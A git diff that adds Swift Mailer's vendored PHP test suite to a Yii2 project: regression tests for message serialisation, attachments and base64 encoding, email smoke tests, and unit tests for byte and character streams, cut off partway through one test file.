+ $this->assertPatternInStream($pattern, $streamA); + $this->assertPatternInStream($pattern, $streamB); + } + + public function testWritingMessageToByteStreamTwiceUsingAFileAttachment() + { + $message = new Swift_Message(); + $message->setSubject('test subject'); + $message->setTo('user@domain.tld'); + $message->setCc('other@domain.tld'); + $message->setFrom('user@domain.tld'); + + $attachment = Swift_Attachment::fromPath($this->_attFile); + + $message->attach($attachment); + + $message->setBody('HTML part', 'text/html'); + + $id = $message->getId(); + $date = preg_quote(date('r', $message->getDate()), '~'); + $boundary = $message->getBoundary(); + + $streamA = new Swift_ByteStream_ArrayByteStream(); + $streamB = new Swift_ByteStream_ArrayByteStream(); + + $pattern = '~^'. + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.$date."\r\n". + 'Subject: test subject'."\r\n". + 'From: user@domain.tld'."\r\n". + 'To: user@domain.tld'."\r\n". + 'Cc: other@domain.tld'."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: multipart/mixed;'."\r\n". + ' boundary="'.$boundary.'"'."\r\n". + "\r\n\r\n". + '--'.$boundary."\r\n". + 'Content-Type: text/html; charset=utf-8'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n". + "\r\n". + 'HTML part'. + "\r\n\r\n". + '--'.$boundary."\r\n". + 'Content-Type: '.$this->_attFileType.'; name='.$this->_attFileName."\r\n". + 'Content-Transfer-Encoding: base64'."\r\n". + 'Content-Disposition: attachment; filename='.$this->_attFileName."\r\n". + "\r\n". + preg_quote(base64_encode(file_get_contents($this->_attFile)), '~'). + "\r\n\r\n". + '--'.$boundary.'--'."\r\n". + '$~D' + ; + + $message->toByteStream($streamA); + $message->toByteStream($streamB); + + $this->assertPatternInStream($pattern, $streamA); + $this->assertPatternInStream($pattern, $streamB); + } + + // -- Helpers + + public function assertPatternInStream($pattern, $stream, $message = '%s') + { + $string = ''; + while (false !== $bytes = $stream->read(8192)) { + $string .= $bytes; + } + $this->assertRegExp($pattern, $string, $message); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug518Test.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug518Test.php new file mode 100644 index 00000000..b83984fe --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug518Test.php @@ -0,0 +1,38 @@ +setTo('foo@bar.com'); + + $that = $this; + $messageValidation = function ($m) use ($that) { + //the getTo should return the same value as we put in + $that->assertEquals('foo@bar.com', key($m->getTo()), 'The message has changed after it was put to the memory queue'); + + return true; + }; + + $transport = m::mock('Swift_Transport'); + $transport->shouldReceive('isStarted')->andReturn(true); + $transport->shouldReceive('send') + ->with(m::on($messageValidation), $failedRecipients) + ->andReturn(1); + + $memorySpool = new Swift_MemorySpool(); + $memorySpool->queueMessage($message); + + /* + * The message is queued in memory. + * Lets change the message + */ + $message->setTo('other@value.com'); + + $memorySpool->flushQueue($transport, $failedRecipients); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug51Test.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug51Test.php new file mode 100644 index 00000000..b9c33b09 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug51Test.php @@ -0,0 +1,121 @@ +markTestSkipped( + 'Cannot run test without a writable directory to use ('. + 'define SWIFT_TMP_DIR in tests/config.php if you wish to run this test)' + ); + } + + $this->_attachmentFile = SWIFT_TMP_DIR.'/attach.rand.bin'; + file_put_contents($this->_attachmentFile, ''); + + $this->_outputFile = SWIFT_TMP_DIR.'/attach.out.bin'; + file_put_contents($this->_outputFile, ''); + } + + public function tearDown() + { + unlink($this->_attachmentFile); + unlink($this->_outputFile); + } + + public function testAttachmentsDoNotGetTruncatedUsingToByteStream() + { + //Run 100 times with 10KB attachments + for ($i = 0; $i < 10; ++$i) { + $message = $this->_createMessageWithRandomAttachment( + 10000, $this->_attachmentFile + ); + + file_put_contents($this->_outputFile, ''); + $message->toByteStream( + new Swift_ByteStream_FileByteStream($this->_outputFile, true) + ); + + $emailSource = file_get_contents($this->_outputFile); + + $this->assertAttachmentFromSourceMatches( + file_get_contents($this->_attachmentFile), + $emailSource + ); + } + } + + public function testAttachmentsDoNotGetTruncatedUsingToString() + { + //Run 100 times with 10KB attachments + for ($i = 0; $i < 10; ++$i) { + $message = $this->_createMessageWithRandomAttachment( + 10000, $this->_attachmentFile + ); + + $emailSource = $message->toString(); + + $this->assertAttachmentFromSourceMatches( + file_get_contents($this->_attachmentFile), + $emailSource + ); + } + } + + // -- Custom Assertions + + public function assertAttachmentFromSourceMatches($attachmentData, $source) + { + $encHeader = 'Content-Transfer-Encoding: base64'; + $base64declaration = strpos($source, $encHeader); + + $attachmentDataStart = strpos($source, "\r\n\r\n", $base64declaration); + $attachmentDataEnd = strpos($source, "\r\n--", $attachmentDataStart); + + if (false === $attachmentDataEnd) { + $attachmentBase64 = trim(substr($source, $attachmentDataStart)); + } else { + $attachmentBase64 = trim(substr( + $source, $attachmentDataStart, + $attachmentDataEnd - $attachmentDataStart + )); + } + + $this->assertIdenticalBinary($attachmentData, base64_decode($attachmentBase64)); + } + + // -- Creation Methods + + private function _fillFileWithRandomBytes($byteCount, $file) + { + // I was going to use dd with if=/dev/random but this way seems more + // cross platform even if a hella expensive!! + + file_put_contents($file, ''); + $fp = fopen($file, 'wb'); + for ($i = 0; $i < $byteCount; ++$i) { + $byteVal = rand(0, 255); + fwrite($fp, pack('i', $byteVal)); + } + fclose($fp); + } + + private function _createMessageWithRandomAttachment($size, $attachmentPath) + { + $this->_fillFileWithRandomBytes($size, $attachmentPath); + + $message = Swift_Message::newInstance() + ->setSubject('test') + ->setBody('test') + ->setFrom('a@b.c') + ->setTo('d@e.f') + ->attach(Swift_Attachment::fromPath($attachmentPath)) + ; + + return $message; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug71Test.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug71Test.php new file mode 100644 index 00000000..4b804537 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug71Test.php @@ -0,0 +1,20 @@ +_message = new Swift_Message('test'); + } + + public function testCallingToStringAfterSettingNewBodyReflectsChanges() + { + $this->_message->setBody('BODY1'); + $this->assertRegExp('/BODY1/', $this->_message->toString()); + + $this->_message->setBody('BODY2'); + $this->assertRegExp('/BODY2/', $this->_message->toString()); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug76Test.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug76Test.php new file mode 100644 index 00000000..c2b12cb4 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug76Test.php @@ -0,0 +1,82 @@ +markTestSkipped( + 'Cannot run test without a writable directory to use ('. + 'define SWIFT_TMP_DIR in tests/config.php if you wish to run this test)' + ); + } + + $this->_inputFile = SWIFT_TMP_DIR.'/in.bin'; + file_put_contents($this->_inputFile, ''); + + $this->_outputFile = SWIFT_TMP_DIR.'/out.bin'; + file_put_contents($this->_outputFile, ''); + + $this->_encoder = $this->_createEncoder(); + } + + public function tearDown() + { + unlink($this->_inputFile); + unlink($this->_outputFile); + } + + public function testBase64EncodedLineLengthNeverExceeds76CharactersEvenIfArgsDo() + { + $this->_fillFileWithRandomBytes(1000, $this->_inputFile); + + $os = $this->_createStream($this->_inputFile); + $is = $this->_createStream($this->_outputFile); + + $this->_encoder->encodeByteStream($os, $is, 0, 80); //Exceeds 76 + + $this->assertMaxLineLength(76, $this->_outputFile, + '%s: Line length should not exceed 76 characters' + ); + } + + // -- Custom Assertions + + public function assertMaxLineLength($length, $filePath, $message = '%s') + { + $lines = file($filePath); + foreach ($lines as $line) { + $this->assertTrue((strlen(trim($line)) <= 76), $message); + } + } + + // -- Creation Methods + + private function _fillFileWithRandomBytes($byteCount, $file) + { + // I was going to use dd with if=/dev/random but this way seems more + // cross platform even if a hella expensive!! + + file_put_contents($file, ''); + $fp = fopen($file, 'wb'); + for ($i = 0; $i < $byteCount; ++$i) { + $byteVal = rand(0, 255); + fwrite($fp, pack('i', $byteVal)); + } + fclose($fp); + } + + private function _createEncoder() + { + return new Swift_Mime_ContentEncoder_Base64ContentEncoder(); + } + + private function _createStream($file) + { + return new Swift_ByteStream_FileByteStream($file, true); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/fixtures/EsmtpTransportFixture.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/fixtures/EsmtpTransportFixture.php new file mode 100644 index 00000000..d56d88d3 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/fixtures/EsmtpTransportFixture.php @@ -0,0 +1,10 @@ +level = $level; + $this->string = $string; + $this->contentType = $contentType; + } + + public function getNestingLevel() + { + return $this->level; + } + + public function toString() + { + return $this->string; + } + + public function getContentType() + { + return $this->contentType; + } + + // These methods are here to account for the implemented interfaces + public function getId() {} + public function getHeaders() {} + public function getBody() {} + public function setBody($body, $contentType = null) {} + public function toByteStream(Swift_InputByteStream $is) {} + public function charsetChanged($charset) {} + public function encoderChanged(Swift_Mime_ContentEncoder $encoder) {} + public function getChildren() {} + public function setChildren(array $children) {} +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/smoke.conf.php.default b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/smoke.conf.php.default new file mode 100644 index 00000000..0de2763f --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/smoke.conf.php.default @@ -0,0 +1,63 @@ +_attFile = __DIR__.'/../../../_samples/files/textfile.zip'; + } + + public function testAttachmentSending() + { + $mailer = $this->_getMailer(); + $message = Swift_Message::newInstance() + ->setSubject('[Swift Mailer] AttachmentSmokeTest') + ->setFrom(array(SWIFT_SMOKE_EMAIL_ADDRESS => 'Swift Mailer')) + ->setTo(SWIFT_SMOKE_EMAIL_ADDRESS) + ->setBody('This message should contain an attached ZIP file (named "textfile.zip").'.PHP_EOL. + 'When unzipped, the archive should produce a text file which reads:'.PHP_EOL. + '"This is part of a Swift Mailer v4 smoke test."' + ) + ->attach(Swift_Attachment::fromPath($this->_attFile)) + ; + $this->assertEquals(1, $mailer->send($message), + '%s: The smoke test should send a single message' + ); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/smoke/Swift/Smoke/BasicSmokeTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/smoke/Swift/Smoke/BasicSmokeTest.php new file mode 100644 index 00000000..c7501d46 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/smoke/Swift/Smoke/BasicSmokeTest.php @@ -0,0 +1,23 @@ +_getMailer(); + $message = Swift_Message::newInstance() + ->setSubject('[Swift Mailer] BasicSmokeTest') + ->setFrom(array(SWIFT_SMOKE_EMAIL_ADDRESS => 'Swift Mailer')) + ->setTo(SWIFT_SMOKE_EMAIL_ADDRESS) + ->setBody('One, two, three, four, five...'.PHP_EOL. + 'six, seven, eight...' + ) + ; + $this->assertEquals(1, $mailer->send($message), + '%s: The smoke test should send a single message' + ); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/smoke/Swift/Smoke/HtmlWithAttachmentSmokeTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/smoke/Swift/Smoke/HtmlWithAttachmentSmokeTest.php new file mode 100644 index 00000000..a589752b --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/smoke/Swift/Smoke/HtmlWithAttachmentSmokeTest.php @@ -0,0 +1,29 @@ +_attFile = __DIR__.'/../../../_samples/files/textfile.zip'; + } + + public function testAttachmentSending() + { + $mailer = $this->_getMailer(); + $message = Swift_Message::newInstance('[Swift Mailer] HtmlWithAttachmentSmokeTest') + ->setFrom(array(SWIFT_SMOKE_EMAIL_ADDRESS => 'Swift Mailer')) + ->setTo(SWIFT_SMOKE_EMAIL_ADDRESS) + ->attach(Swift_Attachment::fromPath($this->_attFile)) + ->setBody('

            This HTML-formatted message should contain an attached ZIP file (named "textfile.zip").'.PHP_EOL. + 'When unzipped, the archive should produce a text file which reads:

            '.PHP_EOL. + '

            This is part of a Swift Mailer v4 smoke test.

            ', 'text/html' + ) + ; + $this->assertEquals(1, $mailer->send($message), + '%s: The smoke test should send a single message' + ); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/smoke/Swift/Smoke/InternationalSmokeTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/smoke/Swift/Smoke/InternationalSmokeTest.php new file mode 100644 index 00000000..e7c695e4 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/smoke/Swift/Smoke/InternationalSmokeTest.php @@ -0,0 +1,37 @@ +_attFile = __DIR__.'/../../../_samples/files/textfile.zip'; + } + + public function testAttachmentSending() + { + $mailer = $this->_getMailer(); + $message = Swift_Message::newInstance() + ->setCharset('utf-8') + ->setSubject('[Swift Mailer] InternationalSmokeTest (διεθνής)') + ->setFrom(array(SWIFT_SMOKE_EMAIL_ADDRESS => 'Χριστοφορου (Swift Mailer)')) + ->setTo(SWIFT_SMOKE_EMAIL_ADDRESS) + ->setBody('This message should contain an attached ZIP file (named "κείμενο, εδάφιο, θέμα.zip").'.PHP_EOL. + 'When unzipped, the archive should produce a text file which reads:'.PHP_EOL. + '"This is part of a Swift Mailer v4 smoke test."'.PHP_EOL. + PHP_EOL. + 'Following is some arbitrary Greek text:'.PHP_EOL. + 'Δεν βρέθηκαν λέξεις.' + ) + ->attach(Swift_Attachment::fromPath($this->_attFile) + ->setContentType('application/zip') + ->setFilename('κείμενο, εδάφιο, θέμα.zip') + ) + ; + $this->assertEquals(1, $mailer->send($message), + '%s: The smoke test should send a single message' + ); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/ByteStream/ArrayByteStreamTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/ByteStream/ArrayByteStreamTest.php new file mode 100644 index 00000000..01934849 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/ByteStream/ArrayByteStreamTest.php @@ -0,0 +1,204 @@ +_createArrayStream($input); + $output = array(); + while (false !== $bytes = $bs->read(1)) { + $output[] = $bytes; + } + $this->assertEquals($input, $output, + '%s: Bytes read from stream should be the same as bytes in constructor' + ); + } + + public function testReadingMultipleBytesFromBaseInput() + { + $input = array('a', 'b', 'c', 'd'); + $bs = $this->_createArrayStream($input); + $output = array(); + while (false !== $bytes = $bs->read(2)) { + $output[] = $bytes; + } + $this->assertEquals(array('ab', 'cd'), $output, + '%s: Bytes read from stream should be in pairs' + ); + } + + public function testReadingOddOffsetOnLastByte() + { + $input = array('a', 'b', 'c', 'd', 'e'); + $bs = $this->_createArrayStream($input); + $output = array(); + while (false !== $bytes = $bs->read(2)) { + $output[] = $bytes; + } + $this->assertEquals(array('ab', 'cd', 'e'), $output, + '%s: Bytes read from stream should be in pairs except final read' + ); + } + + public function testSettingPointerPartway() + { + $input = array('a', 'b', 'c'); + $bs = $this->_createArrayStream($input); + $bs->setReadPointer(1); + $this->assertEquals('b', $bs->read(1), + '%s: Byte should be second byte since pointer as at offset 1' + ); + } + + public function testResettingPointerAfterExhaustion() + { + $input = array('a', 'b', 'c'); + $bs = $this->_createArrayStream($input); + + while (false !== $bs->read(1)); + + $bs->setReadPointer(0); + $this->assertEquals('a', $bs->read(1), + '%s: Byte should be first byte since pointer as at offset 0' + ); + } + + public function testPointerNeverSetsBelowZero() + { + $input = array('a', 'b', 'c'); + $bs = $this->_createArrayStream($input); + + $bs->setReadPointer(-1); + $this->assertEquals('a', $bs->read(1), + '%s: Byte should be first byte since pointer should be at offset 0' + ); + } + + public function testPointerNeverSetsAboveStackSize() + { + $input = array('a', 'b', 'c'); + $bs = $this->_createArrayStream($input); + + $bs->setReadPointer(3); + $this->assertSame(false, $bs->read(1), + '%s: Stream should be at end and thus return false' + ); + } + + public function testBytesCanBeWrittenToStream() + { + $input = array('a', 'b', 'c'); + $bs = $this->_createArrayStream($input); + + $bs->write('de'); + + $output = array(); + while (false !== $bytes = $bs->read(1)) { + $output[] = $bytes; + } + $this->assertEquals(array('a', 'b', 'c', 'd', 'e'), $output, + '%s: Bytes read from stream should be from initial stack + written' + ); + } + + public function testContentsCanBeFlushed() + { + $input = array('a', 'b', 'c'); + $bs = $this->_createArrayStream($input); + + $bs->flushBuffers(); + + $this->assertSame(false, $bs->read(1), + '%s: Contents have been flushed so read() should return false' + ); + } + + public function testConstructorCanTakeStringArgument() + { + $bs = $this->_createArrayStream('abc'); + $output = array(); + while (false !== $bytes = $bs->read(1)) { + $output[] = $bytes; + } + $this->assertEquals(array('a', 'b', 'c'), $output, + '%s: Bytes read from stream should be the same as bytes in constructor' + ); + } + + public function testBindingOtherStreamsMirrorsWriteOperations() + { + $bs = $this->_createArrayStream(''); + $is1 = $this->getMock('Swift_InputByteStream'); + $is2 = $this->getMock('Swift_InputByteStream'); + + $is1->expects($this->at(0)) + ->method('write') + ->with('x'); + $is1->expects($this->at(1)) + ->method('write') + ->with('y'); + $is2->expects($this->at(0)) + ->method('write') + ->with('x'); + $is2->expects($this->at(1)) + ->method('write') + ->with('y'); + + $bs->bind($is1); + $bs->bind($is2); + + $bs->write('x'); + $bs->write('y'); + } + + public function testBindingOtherStreamsMirrorsFlushOperations() + { + $bs = $this->_createArrayStream(''); + $is1 = $this->getMock('Swift_InputByteStream'); + $is2 = $this->getMock('Swift_InputByteStream'); + + $is1->expects($this->once()) + ->method('flushBuffers'); + $is2->expects($this->once()) + ->method('flushBuffers'); + + $bs->bind($is1); + $bs->bind($is2); + + $bs->flushBuffers(); + } + + public function testUnbindingStreamPreventsFurtherWrites() + { + $bs = $this->_createArrayStream(''); + $is1 = $this->getMock('Swift_InputByteStream'); + $is2 = $this->getMock('Swift_InputByteStream'); + + $is1->expects($this->at(0)) + ->method('write') + ->with('x'); + $is1->expects($this->at(1)) + ->method('write') + ->with('y'); + $is2->expects($this->once()) + ->method('write') + ->with('x'); + + $bs->bind($is1); + $bs->bind($is2); + + $bs->write('x'); + + $bs->unbind($is2); + + $bs->write('y'); + } + + // -- Creation Methods + + private function _createArrayStream($input) + { + return new Swift_ByteStream_ArrayByteStream($input); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/CharacterReader/GenericFixedWidthReaderTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/CharacterReader/GenericFixedWidthReaderTest.php new file mode 100644 index 00000000..3f7a46cf --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/CharacterReader/GenericFixedWidthReaderTest.php @@ -0,0 +1,43 @@ +assertSame(1, $reader->getInitialByteSize()); + + $reader = new Swift_CharacterReader_GenericFixedWidthReader(4); + $this->assertSame(4, $reader->getInitialByteSize()); + } + + public function testValidationValueIsBasedOnOctetCount() + { + $reader = new Swift_CharacterReader_GenericFixedWidthReader(4); + + $this->assertSame( + 1, $reader->validateByteSequence(array(0x01, 0x02, 0x03), 3) + ); //3 octets + + $this->assertSame( + 2, $reader->validateByteSequence(array(0x01, 0x0A), 2) + ); //2 octets + + $this->assertSame( + 3, $reader->validateByteSequence(array(0xFE), 1) + ); //1 octet + + $this->assertSame( + 0, $reader->validateByteSequence(array(0xFE, 0x03, 0x67, 0x9A), 4) + ); //All 4 octets + } + + public function testValidationFailsIfTooManyOctets() + { + $reader = new Swift_CharacterReader_GenericFixedWidthReader(6); + + $this->assertSame(-1, $reader->validateByteSequence( + array(0xFE, 0x03, 0x67, 0x9A, 0x10, 0x09, 0x85), 7 + )); //7 octets + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/CharacterReader/UsAsciiReaderTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/CharacterReader/UsAsciiReaderTest.php new file mode 100644 index 00000000..41f8f703 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/CharacterReader/UsAsciiReaderTest.php @@ -0,0 +1,52 @@ +read($size); ) { + $c .= $bytes; + $size = $v->validateCharacter($c); + if (-1 == $size) { + throw new Exception( ... invalid char .. ); + } elseif (0 == $size) { + return $c; //next character in $os + } + } + + */ + + private $_reader; + + public function setUp() + { + $this->_reader = new Swift_CharacterReader_UsAsciiReader(); + } + + public function testAllValidAsciiCharactersReturnZero() + { + for ($ordinal = 0x00; $ordinal <= 0x7F; ++$ordinal) { + $this->assertSame( + 0, $this->_reader->validateByteSequence(array($ordinal), 1) + ); + } + } + + public function testMultipleBytesAreInvalid() + { + for ($ordinal = 0x00; $ordinal <= 0x7F; $ordinal += 2) { + $this->assertSame( + -1, $this->_reader->validateByteSequence(array($ordinal, $ordinal + 1), 2) + ); + } + } + + public function testBytesAboveAsciiRangeAreInvalid() + { + for ($ordinal = 0x80; $ordinal <= 0xFF; ++$ordinal) { + $this->assertSame( + -1, $this->_reader->validateByteSequence(array($ordinal), 1) + ); + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/CharacterReader/Utf8ReaderTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/CharacterReader/Utf8ReaderTest.php new file mode 100644 index 00000000..9e9e0a5d --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/CharacterReader/Utf8ReaderTest.php @@ -0,0 +1,65 @@ +_reader = new Swift_CharacterReader_Utf8Reader(); + } + + public function testLeading7BitOctetCausesReturnZero() + { + for ($ordinal = 0x00; $ordinal <= 0x7F; ++$ordinal) { + $this->assertSame( + 0, $this->_reader->validateByteSequence(array($ordinal), 1) + ); + } + } + + public function testLeadingByteOf2OctetCharCausesReturn1() + { + for ($octet = 0xC0; $octet <= 0xDF; ++$octet) { + $this->assertSame( + 1, $this->_reader->validateByteSequence(array($octet), 1) + ); + } + } + + public function testLeadingByteOf3OctetCharCausesReturn2() + { + for ($octet = 0xE0; $octet <= 0xEF; ++$octet) { + $this->assertSame( + 2, $this->_reader->validateByteSequence(array($octet), 1) + ); + } + } + + public function testLeadingByteOf4OctetCharCausesReturn3() + { + for ($octet = 0xF0; $octet <= 0xF7; ++$octet) { + $this->assertSame( + 3, $this->_reader->validateByteSequence(array($octet), 1) + ); + } + } + + public function testLeadingByteOf5OctetCharCausesReturn4() + { + for ($octet = 0xF8; $octet <= 0xFB; ++$octet) { + $this->assertSame( + 4, $this->_reader->validateByteSequence(array($octet),1) + ); + } + } + + public function testLeadingByteOf6OctetCharCausesReturn5() + { + for ($octet = 0xFC; $octet <= 0xFD; ++$octet) { + $this->assertSame( + 5, $this->_reader->validateByteSequence(array($octet),1) + ); + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/CharacterStream/ArrayCharacterStreamTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/CharacterStream/ArrayCharacterStreamTest.php new file mode 100644 index 00000000..e22e496f --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/CharacterStream/ArrayCharacterStreamTest.php @@ -0,0 +1,360 @@ +_getReader(); + $factory = $this->_getFactory($reader); + + $stream = new Swift_CharacterStream_ArrayCharacterStream($factory, 'utf-8'); + + $reader->shouldReceive('getInitialByteSize') + ->zeroOrMoreTimes() + ->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD1), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + + $stream->importString(pack('C*', + 0xD0, 0x94, + 0xD0, 0xB6, + 0xD0, 0xBE, + 0xD1, 0x8D, + 0xD0, 0xBB, + 0xD0, 0xB0 + ) + ); + } + + public function testCharactersWrittenUseValidator() + { + $reader = $this->_getReader(); + $factory = $this->_getFactory($reader); + + $stream = new Swift_CharacterStream_ArrayCharacterStream($factory, 'utf-8'); + + $reader->shouldReceive('getInitialByteSize') + ->zeroOrMoreTimes() + ->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD1), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD1), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD1), 1)->andReturn(1); + + $stream->importString(pack('C*', 0xD0, 0x94, 0xD0, 0xB6, 0xD0, 0xBE)); + + $stream->write(pack('C*', + 0xD0, 0xBB, + 0xD1, 0x8E, + 0xD0, 0xB1, + 0xD1, 0x8B, + 0xD1, 0x85 + ) + ); + } + + public function testReadCharactersAreInTact() + { + $reader = $this->_getReader(); + $factory = $this->_getFactory($reader); + + $stream = new Swift_CharacterStream_ArrayCharacterStream($factory, 'utf-8'); + + $reader->shouldReceive('getInitialByteSize') + ->zeroOrMoreTimes() + ->andReturn(1); + //String + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + //Stream + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD1), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD1), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD1), 1)->andReturn(1); + + $stream->importString(pack('C*', 0xD0, 0x94, 0xD0, 0xB6, 0xD0, 0xBE)); + + $stream->write(pack('C*', + 0xD0, 0xBB, + 0xD1, 0x8E, + 0xD0, 0xB1, + 0xD1, 0x8B, + 0xD1, 0x85 + ) + ); + + $this->assertIdenticalBinary(pack('C*', 0xD0, 0x94), $stream->read(1)); + $this->assertIdenticalBinary( + pack('C*', 0xD0, 0xB6, 0xD0, 0xBE), $stream->read(2) + ); + $this->assertIdenticalBinary(pack('C*', 0xD0, 0xBB), $stream->read(1)); + $this->assertIdenticalBinary( + pack('C*', 0xD1, 0x8E, 0xD0, 0xB1, 0xD1, 0x8B), $stream->read(3) + ); + $this->assertIdenticalBinary(pack('C*', 0xD1, 0x85), $stream->read(1)); + + $this->assertSame(false, $stream->read(1)); + } + + public function testCharactersCanBeReadAsByteArrays() + { + $reader = $this->_getReader(); + $factory = $this->_getFactory($reader); + + $stream = new Swift_CharacterStream_ArrayCharacterStream($factory, 'utf-8'); + + $reader->shouldReceive('getInitialByteSize') + ->zeroOrMoreTimes() + ->andReturn(1); + //String + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + //Stream + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD1), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD1), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD1), 1)->andReturn(1); + + $stream->importString(pack('C*', 0xD0, 0x94, 0xD0, 0xB6, 0xD0, 0xBE)); + + $stream->write(pack('C*', + 0xD0, 0xBB, + 0xD1, 0x8E, + 0xD0, 0xB1, + 0xD1, 0x8B, + 0xD1, 0x85 + ) + ); + + $this->assertEquals(array(0xD0, 0x94), $stream->readBytes(1)); + $this->assertEquals(array(0xD0, 0xB6, 0xD0, 0xBE), $stream->readBytes(2)); + $this->assertEquals(array(0xD0, 0xBB), $stream->readBytes(1)); + $this->assertEquals( + array(0xD1, 0x8E, 0xD0, 0xB1, 0xD1, 0x8B), $stream->readBytes(3) + ); + $this->assertEquals(array(0xD1, 0x85), $stream->readBytes(1)); + + $this->assertSame(false, $stream->readBytes(1)); + } + + public function testRequestingLargeCharCountPastEndOfStream() + { + $reader = $this->_getReader(); + $factory = $this->_getFactory($reader); + + $stream = new Swift_CharacterStream_ArrayCharacterStream($factory, 'utf-8'); + + $reader->shouldReceive('getInitialByteSize') + ->zeroOrMoreTimes() + ->andReturn(1); + 